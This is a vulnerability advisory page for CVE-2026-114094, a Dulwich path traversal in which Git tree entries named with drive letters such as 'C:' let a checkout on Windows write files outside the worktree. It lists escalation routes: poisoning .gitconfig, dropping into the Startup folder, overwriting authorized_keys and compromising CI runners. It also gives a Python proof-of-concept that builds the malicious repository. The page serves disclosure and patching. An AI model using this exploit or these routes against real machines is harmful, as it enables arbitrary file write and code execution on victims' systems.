Dulwich: Arbitrary File Write (RCE) on Windows via Unvalidated Drive Letters in Tree Paths
CVE-2026-114094 · GHSA-8mcx-5rqc-vhmf · published 2 Oct 2026
How serious is it
- Severity: high.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-114094?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
dulwich(PyPI) < 1.2.9
How to check
- Run
pip show dulwichin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
- Or run
npx shippable-dev scan localhost:3000in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
dulwichto 1.2.9 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
### Affected files
* `dulwich/index.py` (Methods: `validate_path_element_ntfs`, `_tree_to_fs_path`)
* `dulwich/porcelain/__init__.py` (Method: `_checked_worktree_path`)
### Description / Summary
A High-severity Path Traversal vulnerability exists in Dulwich's checkout logic when running on Windows. The functions responsible for validating NTFS paths strictly reject `.git` variants, Alternate Data Streams (ADS), `git~1` short names, and reserved device names, but they completely fail to check for **DOS drive letter prefixes**.
A malicious Git tree can contain an entry named `C:`. When Dulwich processes this tree on a Windows client, the string passes the `validate_path_element_ntfs` check. Later, `_tree_to_fs_path` passes this path to `os.path.join(root, b"C:\\\\Users\\\\...")`.
On Windows, if the second argument to `os.path.join` contains an absolute drive letter, the `root` path is completely discarded. As a result, Dulwich writes the repository file to the absolute path outside of the intended Git worktree.
While the standard C `git` client explicitly blocks this via `has_dos_drive_prefix()` in `path.c`, Dulwich lacks this protection. Because Git trees are cross-platform, an attacker can author a malicious repository on Linux and wait for a Windows victim (or CI runner) to clone it.
### Potential impact
This vulnerability allows an attacker to achieve **Arbitrary File Write**, which can trivially be escalated to **Remote Code Execution (RCE)** or total system compromise on the victim's Windows machine.
Attack vectors include:
1. **Git Config Poisoning (RCE):** Writing a malicious `C:\\Users\\<victim>\\.gitconfig` file to set `core.sshCommand` to an arbitrary executable, granting RCE the next time the user interacts with Git.
2. **Persistence (RCE):** Dropping a malicious executable into `C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\`.
3. **SSH Key Overwrite:** Writing to `C:\\Users\\<victim>\\.ssh\\authorized_keys` to compromise remote servers accessible by the victim.
4. **CI/CD Compromise:** If a Windows-based CI/CD runner (e.g., GitHub Actions) automatically clones a malicious pull request, the runner is instantly compromised, potentially leaking repository secrets.
### Proof of Concept (PoC)
The following Python script (runnable on Linux) generates a malicious Git repository containing a payload that targets Windows clients.
```python
from dulwich.objects import Blob, Tree, Commit
from dulwich.repo import Repo
import os, tempfile
repo_path = tempfile.mkdtemp()
repo = Repo.init(repo_path)
# 1. Build the payload blob.
blob = Blob(); blob.data = b"pwned-by-drive-letter\\n"
repo.object_store.add_object(blob)
# 2. Build the malicious tree hierarchy: C:/Users/victim/evil.txt
evil_txt = Tree(); evil_txt[b"evil.txt"] = (0o100644, blob.id)
repo.object_store.add_object(evil_txt)
victim_dir = Tree(); victim_dir[b"victim"] = (0o040000, evil_txt.id)
repo.object_store.add_object(victim_dir)
users_dir = Tree(); users_dir[b"Users"] = (0o040000, victim_dir.id)
repo.object_store.add_object(users_dir)
# VULNERABILITY: The "C:" directory bypasses validation
c_drive = Tree(); c_drive[b"C:"] = (0o040000, users_dir.id)
repo.object_store.add_object(c_drive)
commit = Commit()
commit.tree = c_drive.id
commit.message = b"add feature"
commit.author = commit.committer = b"attacker <a@evil.example>"
commit.author_time = commit.commit_time = 1700000000
commit.author_timezone = commit.committer_timezone = 0
repo.object_store.add_object(commit)
repo.refs[b"refs/heads/main"] = commit.id
print(f"Malicious repo created at {repo_path}")
print(f"Clone with: dulwich clone {repo_path} /target/win/worktree")
# Result: A Windows checkout of this commit writes the payload directly to C:\\Users\\victim\\evil.txt
```
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/jelmer/dulwich/security/advisories/GHSA-8mcx-5rqc-vhmf
- github.com/jelmer/dulwich/commit/4ca77f9f470742ba246cd6fa07beb6d735045664
- github.com/jelmer/dulwich
- github.com/jelmer/dulwich/releases/tag/dulwich-1.2.9
Merged from OSV. Last updated 25 Oct 2026. All vulnerabilities · RSS · JSON